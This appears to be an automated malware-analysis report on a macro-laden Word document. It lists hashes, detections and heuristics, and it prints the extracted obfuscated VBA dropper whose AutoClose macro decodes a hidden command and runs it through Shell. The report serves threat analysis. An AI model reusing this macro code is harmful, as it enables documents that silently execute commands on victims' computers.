Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 97d6ad9fc1758ed1…

MALICIOUS

Office (OOXML)

53.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-09-30
MD5: 20cf15ce96e40c5f79778259b23d1eb3 SHA-1: 6ae7a39fd3d8d192118a68a01c23d0d181029e94 SHA-256: 97d6ad9fc1758ed1312135fb283acdbfe4c8af484ad84be035886d630b5b488b
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is present and utilizes the Shell() function, indicating an attempt to execute arbitrary code. The VBA code appears to be obfuscated, but the presence of AutoClose and Shell() strongly suggests a downloader or dropper functionality, likely to fetch and execute a secondary payload. The ClamAV detection further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2122 bytes
SHA-256: 4eaaa0047058100215c80868c30ee9299864d3a203ff8a3aa2d6a730eb4fc38a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function disaster(melampyritol)
  paddock = Array("0", "n", "K", "R", "g", "B", "f", "r", "3", "Z", "A", "M", "Y", "o", "m", "S", "N", "a", "8", "P", "z", "5", "q", "J", "4", "1")
  viewer = Array("c", "t", "/", "p", "m", "=", ".", "i", "?", ":", "j", "w", "q", " ", "g", "s", "o", "O", "u", "n", "U", "x", "h", "d", "e", "a")
  
  apios = vbNullString
  
  For Each interlineate In melampyritol
    pollute = Application.Run("winterliness", interlineate, paddock)
    If pollute > -1 And pollute < 99212 Then
    apios = viewer(pollute) + apios
    End If
  Next
  
  disaster = StrReverse(apios)
  
End Function

Public Function winterliness(reciprocalizes, schroedinger)

  autonomic = 81818
  sceuophorionator = -1
  For Each antereformational In schroedinger
    If antereformational = reciprocalizes Then
     autonomic = sceuophorionator
     Exit For
    End If

    sceuophorionator = sceuophorionator + 1
    
  Next

  
  If autonomic = 81818 Then
    autonomic = -1
  End If


  winterliness = autonomic + 1
End Function




Sub AutoClose()
  melampyritol = Array("g", "S", "q", "n", "1", "f", "4", "5", "4", "o", "q", "n", "n", "R", "Z", "K", "K", "A", "q", "r", "A", "J", "Y", "M", "8", "m", "q", "1", "S", "P", "J", "1", "S", "4", "Y", "M", "f", "0", "N", "g", "K", "a", "z", "K", "S", "g", "r", "5", "f", "R", "q", "R", "3", "8", "n", "g", "1", "B", "P", "P", "r", "r", "m")
  examine = disaster(melampyritol)
  
  Application.Run "evocatory", (examine)
  
End Sub


Private Sub evocatory(optometrists)
   
   bemisted = 69172
   curation = True
   
   While curation
     limbic = bemisted + 91723
     If limbic - bemisted > 297 Then
       VBA.Shell optometrists, vbNormalFocus - 1
       curation = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 5235a385946f9b680c4aaa5a26880038956c82a591252b54790ec3a5d2393681
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely